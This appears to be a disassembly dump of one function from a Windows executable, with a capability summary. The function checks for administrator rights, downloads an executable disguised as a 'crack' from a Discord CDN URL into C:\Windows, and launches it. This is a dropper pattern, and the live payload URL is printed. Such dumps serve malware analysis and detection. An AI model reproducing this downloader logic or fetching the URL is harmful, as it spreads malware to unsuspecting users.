Function at 0x140005220
Capabilities:
Create process on windows
Download url
Get token membership
Receive data

Disassembly:
push rbx
sub rsp, 0x160
mov rax, qword [0x1400f0ec0]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor ebx, ebx
mov dword [rsp + 0x90], ebx
mov qword [rsp + 0x68], rbx
mov dword [rsp + 0x88], ebx
mov word [rsp + 0x8c], 0x500
lea rax, [rsp + 0x68]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x40], ebx
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rsp + 0x88]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x1400052bc
lea r8, [rsp + 0x90]
mov rdx, qword [rsp + 0x68]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x90], ebx
jne 0x1400052f2
lea rdx, str.Error:_Please_run_this_program_as_administrator.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140009630
lea rdx, [0x140009800]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x140005720
lea rdx, str._n____________________________________________________n____________________________________________n______________________________________n______________________________________n_______________________________________n___________________________________________n____________________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009630
lea rdx, [0x140009800]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [0x1400f2430]
call fcn.1400280c0
cmp byte [0x1400f2640], bl
jne 0x14000537c
lea rdx, str.Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140009630
lea rdx, [0x1400f2648]
cmp qword [0x1400f2660], 0xf
cmova rdx, qword [0x1400f2648]
mov r8, qword [0x1400f2658]
mov rcx, rax
call fcn.14000e6c0
lea rdx, [0x140009800]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x140005720
call fcn.140004e90
test al, al
jne 0x14000538f
mov eax, 1
jmp 0x140005720
xorps xmm0, xmm0
movups xmmword [rsp + 0xb8], xmm0
mov qword [rsp + 0xc8], rbx
mov qword [rsp + 0xd0], rbx
mov r8d, 0xc5
lea rdx, str.https:__cdn.discordapp.com_attachments_1264496017412194387_1310235937019527269_BOOSTcrackbyrank1shop.exe_ex6746760eis6745248ehm921209386bf2403b794b8e50d394ac097b82f54adfdcf041e5fd05818d675c74
lea rcx, [rsp + 0xb8]
call fcn.140009ff0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x98], xmm0
mov qword [rsp + 0xa8], rbx
mov qword [rsp + 0xb0], rbx
mov r8d, 0x24
lea rdx, str.C:WindowsBOOSTcrackbyrank1shop.exe
lea rcx, [rsp + 0x98]
call fcn.140009ff0
nop
lea r8, [rsp + 0x98]
cmp qword [rsp + 0xb0], 0xf
cmova r8, qword [rsp + 0x98]
lea rdx, [rsp + 0xb8]
cmp qword [rsp + 0xd0], 0xf
cmova rdx, qword [rsp + 0xb8]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jns 0x140005495
lea rdx, str.Error:_Failed_to_download_file_from
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140009630
lea rdx, [rsp + 0xb8]
cmp qword [rsp + 0xd0], 0xf
cmova rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc8]
mov rcx, rax
call fcn.14000e6c0
lea rdx, [0x140009800]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140005589
mov dword [rsp + 0xe0], WSASetLastError
xorps xmm0, xmm0
movups xmmword [rsp + 0xe8], xmm0
movups xmmword [rsp + 0xf8], xmm0
movups xmmword [rsp + 0x108], xmm0
movups xmmword [rsp + 0x118], xmm0
movups xmmword [rsp + 0x128], xmm0
movups xmmword [rsp + 0x138], xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], rax
lea rcx, [rsp + 0x98]
cmp qword [rsp + 0xb0], 0xf
cmova rcx, qword [rsp + 0x98]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140005635
lea rdx, str.Error:_Failed_to_execute
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140009630
lea rdx, [rsp + 0x98]
cmp qword [rsp + 0xb0], 0xf
cmova rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa8]
mov rcx, rax
call fcn.14000e6c0
lea rdx, [0x140009800]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0xb0]
cmp rdx, 0xf
jbe 0x1400055cc
inc rdx
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400055c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400056a9
call fcn.1400ba0bc
mov qword [rsp + 0xa8], rbx
mov qword [rsp + 0xb0], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x98], 0
mov rdx, qword [rsp + 0xd0]
cmp rdx, 0xf
jbe 0x14000562b
inc rdx
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005626
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000570b
call fcn.1400ba0bc
mov eax, 1
jmp 0x140005720
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.Success:_Program_executed_successfully_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009630
lea rdx, [0x140009800]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0xb0]
cmp rdx, 0xf
jbe 0x1400056b5
inc rdx
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400056b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400056b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ba0bc
mov qword [rsp + 0xa8], rbx
mov qword [rsp + 0xb0], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x98], 0
mov rdx, qword [rsp + 0xd0]
cmp rdx, 0xf
jbe 0x140005717
inc rdx
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005712
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005712
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ba0bc
xor eax, eax
jmp 0x140005720
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400b9e20
add rsp, 0x160
pop rbx
ret